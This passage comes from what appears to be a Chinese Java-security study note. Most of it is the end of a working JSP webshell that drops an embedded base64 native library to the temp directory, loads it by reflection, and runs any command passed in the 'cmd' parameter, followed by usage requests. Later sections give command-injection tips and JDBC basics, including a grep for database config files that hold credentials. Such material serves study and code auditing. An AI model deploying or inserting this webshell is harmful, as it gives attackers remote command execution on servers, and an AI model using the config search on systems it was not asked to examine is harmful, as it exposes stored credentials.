AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDwAAAAAAAFALAAAAAAAAsAoAAAAAAAAIDwAAAAAAABIPAAAAAAAAHA8AAAAAAAAmDwAAAAAAADoPAAAAAAAARA8AAAAAAABODwAAAAAAAFgPAAAAAAAAYg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAgAAAA8BAADACAAAAAAAADAAAAAPAYAAUAsAAAAAAABPAAAADwGAALAKAAAAAAAAfAAAAAEAAAIAAAAAAAAAAIwAAAABAAABAAAAAAAAAADYAAAAAQAAAQAAAAAAAAAAHQEAAAEAAAEAAAAAAAAAAC4BAAABAAABAAAAAAAAAABBAQAAAQAAAQAAAAAAAAAAVwEAAAEAAAIAAAAAAAAAAGkBAAABAAACAAAAAAAAAAB8AQAAAQAAAgAAAAAAAAAAgwEAAAEAAAIAAAAAAAAAAIsBAAABAAACAAAAAAAAAACTAQAAAQAAAgAAAAAAAAAAmgEAAAEAAAIAAAAAAAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACEAAAAjAAAAKAAAABwAAAAaAAAAGwAAAB0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACAAX0phdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1Vud2luZF9SZXN1bWUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWlN0OXRlcm1pbmF0ZXYAX19fY3hhX2JlZ2luX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AZHlsZF9zdHViX2JpbmRlcgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExFUEtjAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNWNfc3RyRXYAX19fY2xhbmdfY2FsbF90ZXJtaW5hdGUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMyRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRUMyRXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU185YWxsb2NhdG9ySWNFRUxpMUVMYjFFRUMyRXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkV2AF9fWk5TdDNfXzExN19fY29tcHJlc3NlZF9wYWlySU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVTNV9FNWZpcnN0RXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU0ZGF0YUV2AF9fWk5TdDNfXzFMMTZfX3RvX3Jhd19wb2ludGVySUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA";

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        return new File(jniDir, "libcmd.lib");
    }

    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
     * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    // 需要执行的命令
    String cmd = request.getParameter("cmd");

    // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
    String jniBytes = request.getParameter("jni");

    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }

%>

这里的代码完全看不懂啊QAQ,先往后学JNI试试看吧

load_library.jsp默认提供了一个MacOSXJNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmdjni,参数描述:

cmd需要执行的本地命令

jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量,jni参数只需要传一次,第二次请求不需要带上。

浏览器的请求方式

  1. GET传参:http://localhost:8080/load_library.jsp?cmd=ls
  2. POST传参:

curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"

注意事项

  • 开发阶段我们应该尽可能的避免调用本地命令接口
  • 如果不得不调用那么请仔细检查命令执行参数,严格检查(防止命令注入)或严禁用户直接传入命令
  • 码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词

JDBC

概念

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。

JDBC Connection

Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数据库。

JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

JDBC连接数据库的一般步骤

  1. 注册驱动 Class.forName("数据库驱动的类名")
  2. 获取连接 DriverManager.getConnection(xxx)
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";

Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

数据库配置信息

传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的*.properties*.yml*.xml 中的,如果是Spring Boot项目的话,一般都会储存在jar包中的src/main/resource的目录下。常见的数据库配置文件如下

  • WEB-INF/applicationContext.xml
  • WEB-INF/hibernate.cfg.xml
  • WEB-INF/jdbc/jdbc.properties

一般情况下查找命令如下

find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"

  • Class.forName()实际上是使用了java反射+类加载机制 向DrvierManager中注册了驱动包

省略Class.forName?

连接数据库就必须Class.forName(xxx)几乎已经成为了绝大部分人认为的既定事实而不可改变,但是某些人会发现删除Class.forName一样可以连接数据库这又作何解释?

这里利用了Java的一大特性:Java SPI(Service Provider Interface)

因为DriverManager在初始化的时候,会调用java.util.ServiceLoader类提供的SPI机制,Java会自动扫描jar包中的META-INF/services目录下的文件,并且还会自动的Class.forName(文件中定义的类)

DataSource

在真实的Java项目中,通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(java.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下,在web服务启动时,会预先定义好所有的数据源。有了数据源程序就不需要编写任何和java相关的代码了,直接引用DataSource对象即可获取数据库的资源

常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

Spring MVC 数据源

在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了

在基于XML配置的SpringMVC中配置数据源的数据

<bean id="dataSource" class="com.alibaba.druid.DruidDataSource" init-method="init" destory-method="close">
